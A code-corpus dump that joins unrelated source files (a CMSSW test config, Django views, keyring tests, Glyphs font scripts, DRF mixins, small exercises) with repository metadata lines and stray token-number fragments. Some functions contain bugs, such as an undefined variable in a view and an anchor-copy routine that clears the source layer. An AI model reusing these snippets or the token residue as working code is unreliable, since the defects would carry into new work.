expectedCollectionSize = cms.uint32(9)
)
process.aliasO = cms.EDAlias(
thinningThingProducerO = cms.VPSet(
cms.PSet(type = cms.string('edmtestThings')),
# the next one should get ignored
cms.PSet(type = cms.string('edmThinnedAssociation'))
)
)
process.testA = cms.EDAnalyzer("ThinningTestAnalyzer",
parentTag = cms.InputTag('thingProducer'),
thinnedTag = cms.InputTag('thinningThingProducerA'),
associationTag = cms.InputTag('thinningThingProducerA'),
trackTag = cms.InputTag('trackOfThingsProducerA'),
expectedParentContent = cms.vint32( 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
10, 11, 12, 13, 14, 15, 16, 17, 18, 19,
20, 21, 22, 23, 24, 25, 26, 27, 28, 29,
30, 31, 32, 33, 34, 35, 36, 37, 38, 39,
40, 41, 42, 43, 44, 45, 46, 47, 48, 49
),
expectedThinnedContent = cms.vint32(0, 1, 2, 3, 4, 5, 6, 7, 8),
expectedIndexesIntoParent = cms.vuint32(0, 1, 2, 3, 4, 5, 6, 7, 8),
expectedValues = cms.vint32(0, 1, 2, 3, 4, 5, 6, 7, 8)
)
process.testB = cms.EDAnalyzer("ThinningTestAnalyzer",
parentTag = cms.InputTag('thinningThingProducerA'),
thinnedTag = cms.InputTag('thinningThingProducerB'),
associationTag = cms.InputTag('thinningThingProducerB'),
trackTag = cms.InputTag('trackOfThingsProducerB'),
expectedParentContent = cms.vint32( 0, 1, 2, 3, 4, 5, 6, 7, 8),
expectedThinnedContent = cms.vint32(0, 1, 2, 3),
expectedIndexesIntoParent = cms.vuint32(0, 1, 2, 3),
expectedValues = cms.vint32(0, 1, 2, 3)
)
process.testC = cms.EDAnalyzer("ThinningTestAnalyzer",
parentTag = cms.InputTag('thinningThingProducerA'),
thinnedTag = cms.InputTag('thinningThingProducerC'),
associationTag = cms.InputTag('thinningThingProducerC'),
trackTag = cms.InputTag('trackOfThingsProducerC'),
expectedParentContent = cms.vint32( 0, 1, 2, 3, 4, 5, 6, 7, 8),
expectedThinnedContent = cms.vint32(4, 5, 6, 7),
expectedIndexesIntoParent = cms.vuint32(4, 5, 6, 7),
expectedValues = cms.vint32(4, 5, 6, 7)
)
process.out = cms.OutputModule("PoolOutputModule",
fileName = cms.untracked.string('testThinningTest1.root'),
outputCommands = cms.untracked.vstring(
'keep *',
'drop *_thingProducer2_*_*',
'drop *_thinningThingProducerM_*_*',
'drop *_thinningThingProducerN_*_*',
'drop *_thinningThingProducerO_*_*'
)
)
process.out2 = cms.OutputModule("EventStreamFileWriter",
fileName = cms.untracked.string('testThinningStreamerout.dat'),
compression_level = cms.untracked.int32(1),
use_compression = cms.untracked.bool(True),
max_event_size = cms.untracked.int32(7000000),
outputCommands = cms.untracked.vstring(
'keep *',
'drop *_thingProducer_*_*',
'drop *_thingProducer2_*_*',
'drop *_thinningThingProducerD_*_*',
'drop *_thinningThingProducerH_*_*',
'drop *_thinningThingProducerI_*_*',
'drop *_thinningThingProducerJ_*_*',
'drop *_thinningThingProducerK_*_*',
'drop *_thinningThingProducerL_*_*',
'drop *_thinningThingProducerM_*_*',
'drop *_thinningThingProducerN_*_*',
'drop *_thinningThingProducerO_*_*',
'drop *_aliasM_*_*',
'drop *_aliasN_*_*'
)
)
process.p = cms.Path(process.thingProducer * process.thingProducer2
* process.trackOfThingsProducerA
* process.trackOfThingsProducerB
* process.trackOfThingsProducerC
* process.trackOfThingsProducerD
* process.trackOfThingsProducerDPlus
* process.trackOfThingsProducerE
* process.trackOfThingsProducerF
* process.trackOfThingsProducerG
* process.trackOfThingsProducerH
* process.trackOfThingsProducerI
* process.trackOfThingsProducerJ
* process.trackOfThingsProducerK
* process.trackOfThingsProducerL
* process.trackOfThingsProducerM
* process.trackOfThingsProducerN
* process.trackOfThingsProducerO
* process.trackOfThingsProducerD2
* process.trackOfThingsProducerE2
* process.trackOfThingsProducerF2
* process.thinningThingProducerA
* process.thinningThingProducerB
* process.thinningThingProducerC
* process.thinningThingProducerD
* process.thinningThingProducerE
* process.thinningThingProducerF
* process.thinningThingProducerG
* process.thinningThingProducerH
* process.thinningThingProducerI
* process.thinningThingProducerJ
* process.thinningThingProducerK
* process.thinningThingProducerL
* process.thinningThingProducerM
* process.thinningThingProducerN
* process.thinningThingProducerO
* process.testA
* process.testB
* process.testC
)
process.endPath = cms.EndPath(process.out * process.out2)
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photo/views.py | alexomaset/Photo-Gallery23 | 0 | 197604 | from django.shortcuts import render
from django.http import HttpResponse
import datetime as dt
from .models import *
# Create your views here.
def day_photos(request):
date = dt.date.today()
photos = Image.objects.all()
return render(request, 'day_photos.html', {"date": date,"images":photos})
def image(request, image_id):
image = Image.objects.get(id=image_id)
return render(request, 'image.html', {'image': image})
def search_results(request):
if 'image' in request.GET and request.GET["image"]:
search_input = request.GET.get("image")
images = Image.search_by_category(search_input)
message = f"{search_input}"
return render(request, 'search.html',{"images":images,"message":message})
else:
message = "You haven't searched for any term"
# context={"message":message}
return render(request, 'search.html',{"message":message})
def display_images_categories(request):
photos = Image.category(1)
return render(request, 'category.html', {"photos":photos})
def location_filter(request):
photo = Image.location()
locations = Location.objects.all()
return render(request,'location.html',{"images":images,"locations":locations}) | [
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criterion_core/utils/tag_utils.py | criterion-ai/criterion_core | 0 | 101318 | <gh_stars>0
def find(tree, key, value):
items = tree.get("children", []) if isinstance(tree, dict) else tree
for item in items:
if item[key] == value:
yield item
else:
yield from find(item, key, value)
def find_path(tree, key, value, path=()):
items = tree.get("children", []) if isinstance(tree, dict) else tree
for item in items:
if item[key] == value:
yield (*path, item)
else:
yield from find_path(item, key, value, (*path, item))
| [
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] |
keyring/tests/backends/test_Windows.py | EnjoyLifeFund/py36pkgs | 4 | 137966 | <reponame>EnjoyLifeFund/py36pkgs
from __future__ import print_function
import sys
import unittest
import pytest
import keyring.backends.Windows
from ..test_backend import BackendBasicTests
@unittest.skipUnless(keyring.backends.Windows.WinVaultKeyring.viable,
"Needs Windows")
class WinVaultKeyringTestCase(BackendBasicTests, unittest.TestCase):
def tearDown(self):
# clean up any credentials created
for cred in self.credentials_created:
try:
self.keyring.delete_password(*cred)
except Exception as e:
print(e, file=sys.stderr)
def init_keyring(self):
return keyring.backends.Windows.WinVaultKeyring()
@pytest.mark.skipif('sys.platform != "win32"')
def test_winvault_always_viable():
"""
The WinVault backend should always be viable on Windows.
"""
assert keyring.backends.Windows.WinVaultKeyring.viable
| [
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exemplos/Basico/formatando_valores.py | kalilventura/python | 0 | 154340 | """
Formatando valores:
:s -> Texto (string)
:d -> Inteiro (int)
:f -> Números de ponto flutuante (float)
:.(NUMERO)f -> Quantidade de casas decimais (float)
:(CARACTERE)(> ou < ou ^)(QUANTIDADE)(TIPO - s, d ou f)
> -> Esquerda
< -> Direita
^ -> Centro
"""
num_1 = 10
num_2 = 3
divisao = num_1 / num_2
print(f'{divisao:.2f}')
# Formatação a esquerda com zeros
num_1 = 1
print(f'{num_1:0>10}')
num_2 = 1150
print(f'{num_2:0>10}')
# Formatação a direita com zeros
print(f'{num_1:0<10}')
print(f'{num_2:0<10}')
# Formatação com o valor centralizado
print(f'{num_1:0^10}')
print(f'{num_2:0^10}')
# Funcionam com qualquer caractere, nao somente com numeros
nome = 'John'
print('{nome:@>15}'.format(nome=nome)) | [
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flink-ai-flow/ai_flow/api/configuration.py | shanshanpt/flink-ai-extended | 0 | 1609814 | <reponame>shanshanpt/flink-ai-extended<gh_stars>0
#
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
#
from typing import Text, Optional
import os
from ai_flow.project.project_description import get_project_description_from, ProjectDesc
from ai_flow.project.project_config import ProjectConfig, _default_project_config
from ai_flow.rest_endpoint.service.client.aiflow_client import AIFlowClient
_default_project_config_set_flag = False
def ensure_project_registered():
""" Ensure the project configured in project.yaml has been registered. """
client = AIFlowClient(server_uri=_default_project_config.get_master_uri())
project_meta = client.get_project_by_name(_default_project_config.get_project_name())
pp = {}
for k, v in _default_project_config.items():
pp[k] = str(v)
if project_meta is None:
project_meta = client.register_project(name=_default_project_config.get_project_name(),
properties=pp)
else:
project_meta = client.update_project(project_name=_default_project_config.get_project_name(), properties=pp)
_default_project_config.set_project_uuid(str(project_meta.uuid))
def project_config() -> Optional[ProjectConfig]:
"""
:return: project configuration
"""
ensure_project_registered()
return _default_project_config
def set_project_config_file(config_file: Text):
"""
Set project config based on project.yaml in client.
:param config_file: Path to project.yaml
:return: None
"""
global _default_project_config_set_flag
if _default_project_config_set_flag:
raise Exception("project configuration cannot be set repeatedly!")
else:
_default_project_config.load_from_file(config_file)
_default_project_config_set_flag = True
def set_default_project_config(config: ProjectConfig):
global _default_project_config_set_flag
if _default_project_config_set_flag:
raise Exception("project configuration cannot be set repeatedly!")
else:
_default_project_config.clear()
_default_project_config.update(config)
_default_project_config_set_flag = True
def get_default_project_config():
return _default_project_config
def set_project_master_uri(master_uri: Text):
ip_port = master_uri.split(':')
_default_project_config.set_master_ip(ip_port[0])
_default_project_config.set_master_port(ip_port[1])
def unset_project_config():
global _default_project_config_set_flag, _default_project_config
_default_project_config = ProjectConfig()
_default_project_config_set_flag = False
_default_project_desc: ProjectDesc = None
def project_description()->ProjectDesc:
return _default_project_desc
def set_project_path(path):
global _default_project_desc
set_project_config_file(os.path.join(path, 'project.yaml'))
_default_project_desc = get_project_description_from(path)
_default_project_desc.project_config = _default_project_config
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2
] |
build/python_module.py | Romit-Maulik/CBurgers | 5 | 26903 | print("From python: Within python module")
import os,sys
HERE = os.getcwd()
sys.path.insert(0,HERE)
import numpy as np
import tensorflow as tf
import matplotlib.pyplot as plt
data_array = np.zeros(shape=(2001,258)) # Very important that this matches the number of timesteps in the main solver
x = np.arange(start=0,stop=2.0*np.pi,step=2.0*np.pi/256)
iternum = 0
def collection_func(input_array):
global data_array,iternum
data_array[iternum,:] = input_array[:]
iternum+=1
return None
def analyses_func():
global data_array, x
plt.figure()
for i in range(0,np.shape(data_array)[0],400):
plt.plot(x,data_array[i,1:-1],label='Timestep '+str(i))
plt.legend()
plt.xlabel('x')
plt.xlabel('u')
plt.title('Field evolution')
plt.savefig('Field_evolution.png')
plt.close()
# Perform an SVD
data_array = data_array[:,1:-1]
print('Performing SVD')
u,s,v = np.linalg.svd(data_array,full_matrices=False)
# Plot SVD eigenvectors
plt.figure()
plt.plot(x, v[0,:],label='Mode 0')
plt.plot(x, v[1,:],label='Mode 1')
plt.plot(x, v[2,:],label='Mode 2')
plt.legend()
plt.title('SVD Eigenvectors')
plt.xlabel('x')
plt.xlabel('u')
plt.savefig('SVD_Eigenvectors.png')
plt.close()
np.save('eigenvectors.npy',v[0:3,:].T)
# Train an LSTM on the coefficients of the eigenvectors
time_series = np.matmul(v[0:3,:],data_array.T).T
num_timesteps = np.shape(time_series)[0]
train_series = time_series[:num_timesteps//2]
test_series = time_series[num_timesteps//2:]
# import the LSTM architecture and initialize
from ml_module import standard_lstm
ml_model = standard_lstm(train_series)
# Train the model
ml_model.train_model()
# Restore best weights and perform an inference
print('Performing inference on testing data')
ml_model.model_inference(test_series)
return_data = v[0:3,:].T
return return_data
if __name__ == '__main__':
pass | [
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pyclick/click_models/task_centric/SearchTask.py | gaudel/ranking_bandits | 3 | 78708 | #
# Copyright (C) 2015 <NAME>
#
# Full copyright notice can be found in LICENSE.
#
from collections import OrderedDict
__author__ = '<NAME>'
class SearchTask(object):
"""A search task consisting of multiple search sessions."""
def __init__(self, task):
self._task = task
self.search_sessions = []
def __str__(self):
return "%s:%r" % (self._task, [search_session.query for search_session in self.search_sessions])
def __repr__(self):
return str(self)
@staticmethod
def get_search_tasks(search_sessions):
"""
Groups search sessions by task and returns the list of all tasks.
:param search_sessions: Task-centric search sessions.
:returns: The list of tasks.
"""
search_tasks = OrderedDict()
for search_session in search_sessions:
if search_session.task not in search_tasks:
search_tasks[search_session.task] = SearchTask(search_session.task)
search_tasks[search_session.task].search_sessions.append(search_session)
return search_tasks.values()
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example/generate.py | kohjaen/kojen | 3 | 64821 | <filename>example/generate.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__author__ = 'eugene'
'''
MIT License
Copyright (c) 2015 <NAME> (email : <EMAIL>)
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
'''
import kojen.Generate as Generate
import os
author = "<EMAIL>"
group = "GROUP_EXAMPLE"
brief = "An example demonstrating code-generation abilities."
#
# Generate Protocol
#
namespacename = "ExampleIO"
classname = "CExampleIF"
declspec = ""
outputdir = os.path.join(os.path.abspath(os.path.dirname(__file__)), "autogen")
templatedir = "" # defaults
protocolfile = os.path.join(os.path.abspath(os.path.dirname(__file__)), "example_protocol.py")
Generate.Protocol(outputdir, protocolfile, namespacename, classname, declspec, author, group, brief)
#
# Generate Statemachine (from TransitionTable ... to do it directly from a model, please write to <EMAIL>)
#
namespacename = "CDPlayerSM"
statemachinenameprefix = "CDPlayer"
declspec = ""
templatedir = "" # defaults are for 'SML'
from kojen.interface_base import *
EventPlay = Struct('EventPlay')
EventPlay.AddType('m_track_no','uint16_t')
eventsinterface = Interface('IMyIntefaceIO')
eventsinterface.AddStruct(EventPlay)
transition_table = []
# StartState Event NextState Action Guard
transition_table.append(['StateStop', 'EventOpen', 'StateOpen', 'OnOpenDrive', 'None'])
transition_table.append(['StateStop', 'EventPlay', 'StatePlay', 'OnPlayTrack', 'GuardCDInside'])
transition_table.append(['StateOpen', 'EventOpen', 'StateStop', 'OnCloseDrive', 'None'])
transition_table.append(['StatePlay', 'EventPlay', 'StatePause', 'OnPause', 'None'])
transition_table.append(['StatePlay', 'EventEndOfTrack', 'None', 'OnPlayNextTrack', 'GuardCDHasMoreTracks'])
transition_table.append(['StatePlay', 'EventEndOfTrack', 'StateStop', 'OnStop', 'GuardCDHasNoMoreTracks'])
transition_table.append(['StatePlay', 'EventSkipNextTrack', 'None', 'OnPlayNextTrack', 'GuardCDHasMoreTracks'])
transition_table.append(['StatePlay', 'EventSkipPreviousTrack', 'None', 'OnPlayPreviousTrack', 'GuardCDHasPreviousTrack'])
transition_table.append(['StatePlay', 'EventStop', 'StateStop', 'OnStop', 'None'])
transition_table.append(['StatePause', 'EventPlay', 'StatePlay', 'OnPlayTrack', 'None'])
transition_table.append(['StatePause', 'EventAfter10Minutes', 'StateStop', 'OnStop', 'None'])
Generate.StateMachine(outputdir, transition_table, eventsinterface, namespacename, statemachinenameprefix, declspec, author, group, brief, templatedir)
#
# UML (C++/C# ... to do it directly from a model, please write to <EMAIL>)
# | [
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] |
Droit/views/errors.py | Halleloya/DBAC | 0 | 76828 | <filename>Droit/views/errors.py
"""
Define the error pages for the project
"""
from flask import render_template
def register_error_page(app):
@app.errorhandler(404)
def page_not_found(e):
# note that we set the 404 status explicitly
return render_template('/errors/404.html', description = e), 404
@app.errorhandler(401)
def unauthorized (e):
return render_template('/errors/401.html', description = e), 401
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] |
find_duplicate_7kyu/find_the_duplicate.py | philipwerner/code-katas | 0 | 24258 | <reponame>philipwerner/code-katas
"""Kata: Find the Duplicated Number in a Consecutive Unsorted List - Finds and returns
the duplicated number from the list
#1 Best Practices Solution by SquishyStrawberry
def find_dup(arr):
return (i for i in arr if arr.count(i) > 1).next()
"""
def find_dup(arr):
"""This will find the duplicated int in the list"""
dup = set([x for x in arr if arr.count(x) > 1])
answer = list(dup)
return answer[0]
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29961,
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infinite_iterator.py | ysharma1126/ssl_identifiability | 19 | 198664 | from typing import Iterable
class InfiniteIterator:
"""Infinitely repeat the iterable."""
def __init__(self, iterable: Iterable):
self._iterable = iterable
self.iterator = iter(self._iterable)
def __iter__(self):
return self
def __next__(self):
for _ in range(2):
try:
return next(self.iterator)
except StopIteration:
# reset iterator
del self.iterator
self.iterator = iter(self._iterable) | [
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Masters/Copy Layer to Layer.py | davidtahim/Glyphs-Scripts | 1 | 3982 | #MenuTitle: Copy Layer to Layer
# -*- coding: utf-8 -*-
__doc__="""
Copies one master to another master in selected glyphs.
"""
import GlyphsApp
import vanilla
import math
def getComponentScaleX_scaleY_rotation( self ):
a = self.transform[0]
b = self.transform[1]
c = self.transform[2]
d = self.transform[3]
scale_x = math.sqrt(math.pow(a,2)+math.pow(b,2))
scale_y = math.sqrt(math.pow(c,2)+math.pow(d,2))
if (b<0 and c<0):
scale_y = scale_y * -1
rotation = math.atan2(b, a) * (180/math.pi)
return [scale_x, scale_y, rotation]
class MasterFiller( object ):
def __init__( self ):
# Window 'self.w':
windowWidth = 280
windowHeight = 155
windowWidthResize = 120 # user can resize width by this value
windowHeightResize = 0 # user can resize height by this value
self.w = vanilla.FloatingWindow(
( windowWidth, windowHeight ), # default window size
"Copy layer to layer", # window title
minSize = ( windowWidth, windowHeight ), # minimum size (for resizing)
maxSize = ( windowWidth + windowWidthResize, windowHeight + windowHeightResize ), # maximum size (for resizing)
autosaveName = "com.mekkablue.MasterFiller.mainwindow" # stores last window position and size
)
self.w.text_1 = vanilla.TextBox((15, 12+2, 120, 14), "Copy paths from", sizeStyle='small')
self.w.master_from = vanilla.PopUpButton((120, 12, -15, 17), self.GetMasterNames(), sizeStyle='small', callback=self.MasterChangeCallback)
self.w.text_2 = vanilla.TextBox((15, 32+2, 120, 14), "into selection of", sizeStyle='small')
self.w.master_into = vanilla.PopUpButton((120, 32, -15, 17), self.GetMasterNames(), sizeStyle='small', callback=self.MasterChangeCallback)
self.w.include_components = vanilla.CheckBox((15, 52+2, -100, 20), "Include components", sizeStyle='small', callback=self.SavePreferences, value=True)
self.w.include_anchors = vanilla.CheckBox((15, 52+20, -100, 20), "Include anchors", sizeStyle='small', callback=self.SavePreferences, value=True)
self.w.include_metrics = vanilla.CheckBox((15, 52+38, -100, 20), "Include metrics", sizeStyle='small', callback=self.SavePreferences, value=True)
self.w.keep_window_open = vanilla.CheckBox((15, 52+56, -100, 20), "Keep window open", sizeStyle='small', callback=self.SavePreferences, value=True)
self.w.copybutton = vanilla.Button((-80, -30, -15, -10), "Copy", sizeStyle='small', callback=self.buttonCallback)
self.w.setDefaultButton( self.w.copybutton )
# Load Settings:
if not self.LoadPreferences():
print "Note: 'Copy Layer to Layer' could not load preferences. Will resort to defaults."
self.w.open()
self.w.makeKey()
self.w.master_into.set(1)
def SavePreferences( self, sender ):
try:
Glyphs.defaults["com.mekkablue.MasterFiller.include_components"] = self.w.include_components.get()
Glyphs.defaults["com.mekkablue.MasterFiller.include_anchors"] = self.w.include_anchors.get()
Glyphs.defaults["com.mekkablue.MasterFiller.include_metrics"] = self.w.include_metrics.get()
Glyphs.defaults["com.mekkablue.MasterFiller.keep_window_open"] = self.w.keep_window_open.get()
except:
return False
return True
def LoadPreferences( self ):
try:
NSUserDefaults.standardUserDefaults().registerDefaults_(
{
"com.mekkablue.MasterFiller.include_components" : "1",
"com.mekkablue.MasterFiller.include_anchors" : "1",
"com.mekkablue.MasterFiller.include_metrics" : "1",
"com.mekkablue.MasterFiller.keep_window_open" : "1"
}
)
self.w.include_components.set( Glyphs.defaults["com.mekkablue.MasterFiller.include_components"] )
self.w.include_anchors.set( Glyphs.defaults["com.mekkablue.MasterFiller.include_anchors"] )
self.w.include_metrics.set( Glyphs.defaults["com.mekkablue.MasterFiller.include_metrics"] )
self.w.keep_window_open.set( Glyphs.defaults["com.mekkablue.MasterFiller.keep_window_open"] )
except:
return False
return True
def GetMasterNames( self ):
myMasterList = []
for i in range( len( Glyphs.currentDocument.font.masters ) ):
x = Glyphs.currentDocument.font.masters[i]
myMasterList.append( '%i: %s' % (i, x.name) )
return myMasterList
def MasterChangeCallback( self, sender ):
if self.w.master_from.get() == self.w.master_into.get():
self.w.copybutton.enable( False )
else:
self.w.copybutton.enable( True )
def copyPathsFromLayerToLayer( self, sourceLayer, targetLayer ):
"""Copies all paths from sourceLayer to targetLayer"""
num_from = len( sourceLayer.paths )
num_into = len( targetLayer.paths )
if num_into != 0:
print "- Cleaning out paths in target layer"
for i in range( num_into )[::-1]:
del targetLayer.paths[i]
if num_from > 0:
print "- Copying paths"
for thisPath in sourceLayer.paths:
newPath = GSPath()
for n in thisPath.nodes:
newNode = GSNode()
newNode.type = n.type
newNode.connection = n.connection
newNode.setPosition_( (n.x, n.y) )
newPath.addNode_( newNode )
newPath.closed = thisPath.closed
targetLayer.paths.append( newPath )
def copyComponentsFromLayerToLayer( self, sourceLayer, targetLayer ):
"""Copies all components from sourceLayer to targetLayer."""
comp_from = len( sourceLayer.components )
comp_into = len( targetLayer.components )
if comp_into != 0:
print "- Cleaning out components in target layer"
for i in range( comp_into )[::-1]:
del targetLayer.components[i]
if comp_from > 0:
print "- Copying components:"
for thisComp in sourceLayer.components:
compName = str( thisComp.componentName ) # str() probably not necessary anymore, but once fixed a problem
newComp = GSComponent( compName )
newComp.setPosition_( (thisComp.x, thisComp.y) )
ScaleX_scaleY_rotation = getComponentScaleX_scaleY_rotation(thisComp)
newComp.setScaleX_scaleY_rotation_(ScaleX_scaleY_rotation[0],ScaleX_scaleY_rotation[1],ScaleX_scaleY_rotation[2])
print "-- Component: %s" % ( compName )
targetLayer.components.append( newComp )
def copyAnchorsFromLayerToLayer( self, sourceLayer, targetLayer ):
"""Copies all anchors from sourceLayer to targetLayer."""
anch_from = len( sourceLayer.anchors )
anch_into = len( targetLayer.anchors )
if anch_into != 0:
print "- Cleaning out anchors in target layer"
sourceLayer.setAnchors_( None )
if anch_from > 0:
print "- Copying anchors from source layer:"
for thisAnchor in sourceLayer.anchors:
anchorName = thisAnchor.name
anchorPosition = NSPoint( thisAnchor.x, thisAnchor.y )
newAnchor = GSAnchor( anchorName, anchorPosition )
print "-- %s (%i, %i)" % ( anchorName, anchorPosition.x, anchorPosition.y )
targetLayer.addAnchor_( newAnchor )
def copyMetricsFromLayerToLayer( self, sourceLayer, targetLayer ):
"""Copies width of sourceLayer to targetLayer."""
sourceWidth = sourceLayer.width
if targetLayer.width != sourceWidth:
targetLayer.width = sourceWidth
print "- Copying width (%.1f)" % sourceWidth
else:
print "- Width not changed (already was %.1f)" % sourceWidth
def buttonCallback( self, sender ):
Glyphs.clearLog()
Glyphs.showMacroWindow()
print "Copy Layer to Layer Protocol:"
Font = Glyphs.font
Doc = Glyphs.currentDocument
selectedGlyphs = [ x.parent for x in Font.selectedLayers ]
index_from = self.w.master_from.get()
index_into = self.w.master_into.get()
compYesNo = self.w.include_components.get()
anchYesNo = self.w.include_anchors.get()
metrYesNo = self.w.include_metrics.get()
for thisGlyph in selectedGlyphs:
try:
print "\nProcessing", thisGlyph.name
sourcelayer = thisGlyph.layers[ index_from ]
targetlayer = thisGlyph.layers[ index_into ]
Font.disableUpdateInterface()
# copy paths:
self.copyPathsFromLayerToLayer( sourcelayer, targetlayer )
# copy components:
if compYesNo:
self.copyComponentsFromLayerToLayer( sourcelayer, targetlayer )
# copy anchors:
if anchYesNo:
self.copyAnchorsFromLayerToLayer( sourcelayer, targetlayer )
# copy metrics:
if metrYesNo:
self.copyMetricsFromLayerToLayer( sourcelayer, targetlayer )
Font.enableUpdateInterface()
except Exception, e:
print e
if not self.w.keep_window_open.get():
self.w.close()
MasterFiller()
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venv/lib/python3.8/site-packages/azureml/_tracing/__init__.py | amcclead7336/Enterprise_Data_Science_Final | 0 | 47127 | <gh_stars>0
# ---------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# ---------------------------------------------------------
from azureml._base_sdk_common import __version__ as VERSION
from ._tracer_factory import get_tracer
__version__ = VERSION
__all__ = [
'get_tracer'
]
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src/util/__init__.py | Newms226/project_creator | 0 | 75031 |
URL_Root = '' | [
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src/shipchain_common/mixins.py | ShipChain/python-common | 2 | 150454 | """
Copyright 2019 ShipChain, Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""
from rest_framework import status, mixins
from rest_framework.response import Response
class SerializationType:
REQUEST = 0
RESPONSE = 1
class MultiSerializerViewSetMixin:
def get_serializer_class(self):
"""
Look for serializer class in self.action_serializer_classes, which
should be a dict mapping action name (key) to serializer class (value),
i.e.:
class MyViewSet(MultiSerializerViewSetMixin, ViewSet):
serializer_class = MyDefaultSerializer
action_serializer_classes = {
'list': MyListSerializer,
'my_action': MyActionSerializer,
}
@action
def my_action:
...
If there's no entry for that action then just fallback to the regular
get_serializer_class lookup: self.serializer_class, DefaultSerializer.
Built-in actions:
create
retrieve
update PUT
partial_update PATCH
destroy
list
"""
action = self.action
try:
# PUT and PATCH should use the same serializers if not separately defined
if action == 'partial_update' and 'partial_update' not in self.action_serializer_classes:
action = 'update'
if 'format' in self.kwargs:
try:
return self.action_serializer_classes[f'{action}.{self.kwargs["format"]}']
except (KeyError, AttributeError):
pass
return self.action_serializer_classes[action]
except (KeyError, AttributeError):
return super(MultiSerializerViewSetMixin, self).get_serializer_class()
class MultiPermissionViewSetMixin:
def get_permissions(self):
"""
Look for permission classes in self.action_permission_classes, which
should be a dict mapping action name (key) to list of permission classes (value),
i.e.:
class MyViewSet(MultiPermissionViewSetMixin, ViewSet):
permission_classes = (HasViewSetActionPermissions,)
action_permission_classes = {
'list': (permissions.AllowAny,),
'my_action': (HasViewSetActionPermissions, isOwner,),
}
@action
def my_action:
...
If there's no entry for that action then just fallback to the regular permission_classes
Built-in actions:
create
retrieve
update PUT
partial_update PATCH
destroy
list
"""
permission_classes = self.permission_classes
try:
action = self.action
# PUT and PATCH should use the same permission classes if not separately defined
if action == 'partial_update' and 'partial_update' not in self.action_permission_classes:
action = 'update'
permission_classes = self.action_permission_classes[action]
except (KeyError, AttributeError):
pass
return [permission() for permission in permission_classes]
class ConfigurableCreateModelMixin(mixins.CreateModelMixin):
def create(self, request, *args, **kwargs):
"""
Provide SerializationType to get_serializer, re-serialize response if necessary, change status code if wanted
"""
config = self.get_configuration()
serializer = self.get_serializer(data=request.data)
serializer.is_valid(raise_exception=config.raise_validation)
instance = self.perform_create(serializer)
headers = self.get_success_headers(serializer.data)
if config.re_serialize_response:
serializer = self.get_serializer(instance=instance, serialization_type=SerializationType.RESPONSE)
return Response(serializer.data,
status=config.success_status or status.HTTP_201_CREATED,
headers=headers)
def perform_create(self, serializer):
"""Returned the saved instance for later processing"""
return serializer.save()
class ConfigurableRetrieveModelMixin(mixins.RetrieveModelMixin):
"""
Retrieve a model instance. Provide SerializationType to get_serializer
"""
def retrieve(self, request, *args, **kwargs):
instance = self.get_object()
serializer = self.get_serializer(instance=instance, serialization_type=SerializationType.RESPONSE)
return Response(serializer.data)
class ConfigurableUpdateModelMixin(mixins.UpdateModelMixin):
def update(self, request, *args, **kwargs):
"""
Provide SerializationType to get_serializer, re-serialize response if necessary, change status code if wanted
"""
config = self.get_configuration()
partial = kwargs.pop('partial', False)
instance = self.get_object()
serializer = self.get_serializer(instance=instance, data=request.data, partial=partial)
serializer.is_valid(raise_exception=config.raise_validation)
updated_instance = self.perform_update(serializer)
if getattr(instance, '_prefetched_objects_cache', None):
# If 'prefetch_related' has been applied to a queryset, we need to
# forcibly invalidate the prefetch cache on the instance.
instance._prefetched_objects_cache = {} # pylint: disable=protected-access
if config.re_serialize_response:
serializer = self.get_serializer(instance=updated_instance, serialization_type=SerializationType.RESPONSE)
return Response(serializer.data, status=config.success_status or status.HTTP_200_OK)
def perform_update(self, serializer):
"""Returned the updated instance for later processing"""
return serializer.save()
class ConfigurableDestroyModelMixin(mixins.DestroyModelMixin):
"""No specific Configurable changes; creating mixin for consistency"""
class ConfigurableListModelMixin(mixins.ListModelMixin):
"""
List a queryset. Provide SerializationType to get_serializer
"""
def list(self, request, *args, **kwargs):
queryset = self.filter_queryset(self.get_queryset())
page = self.paginate_queryset(queryset)
if page is not None:
serializer = self.get_serializer(page, many=True, serialization_type=SerializationType.RESPONSE)
return self.get_paginated_response(serializer.data)
serializer = self.get_serializer(queryset, many=True, serialization_type=SerializationType.RESPONSE)
return Response(serializer.data)
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4706,
736,
13291,
29898,
15550,
3950,
29889,
1272,
29897,
13,
2
] |
exercicio3.py | DrokaGit/-infosatc-lp-avaliativo-02 | 0 | 10655 | nume1 = int(input("Digite um numero"))
nume2 = int(input("Digite um numero"))
nume3 = int(input("Digite um numero"))
nume4 = int(input("Digite um numero"))
nume5 = int(input("Digite um numero"))
